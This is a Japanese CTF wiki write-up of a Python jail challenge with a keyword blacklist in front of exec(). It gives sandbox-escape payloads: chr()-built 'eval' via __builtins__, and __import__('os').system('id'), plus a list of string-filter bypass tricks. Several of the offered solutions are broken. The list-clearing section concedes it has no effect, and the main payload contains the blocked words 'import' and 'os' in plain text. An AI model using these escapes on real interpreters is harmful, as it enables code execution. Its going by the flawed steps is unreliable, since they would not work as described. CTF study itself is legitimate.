pyjail wiki

UofTCTF 2024 - Baby's First Pyjail

Challenge

ブラックリストベースのフィルタを持つ pyjail。

blacklist = ['import', 'os', 'sys', 'eval', 'exec', 'open', 'read', 'write']
code = input()
for word in blacklist:
if word in code:
print("Blocked!")
exit()
exec(code)

Solution

del blacklist[:] によるクリア

リストを空にしてからブラックリスト文字列を使用:

del blacklist[:]
# 以降、blacklist は空なのでチェックが通る
# ただし、この時点ではすでにチェック済み

実際の攻撃

ブラックリストが変数として残っている場合:

# ブラックリストを削除
blacklist.clear()

ただし、チェックはすでに完了しているため、直接的な効果はない。

文字列構築によるバイパス

# chr() で構築
getattr(__builtins__, chr(101)+chr(118)+chr(97)+chr(108))
# 'eval' を構築

__builtins__ 経由

# builtins にアクセス
__builtins__.__dict__[chr(101)+chr(118)+chr(97)+chr(108)]('__import__("os").system("id")')

Technical Details

リスト操作

# 全要素削除
blacklist[:] = []
del blacklist[:]
blacklist.clear()
# リスト自体を削除
del blacklist

フィルタバイパスのパターン

  1. 文字列結合: 'im' + 'port'
  2. chr(): chr(105)+chr(109)+...
  3. Unicode: import
  4. base64: __import__('base64').b64decode('...')

Flag

uoftctf{...}

References

  • UofTCTF 2024 Official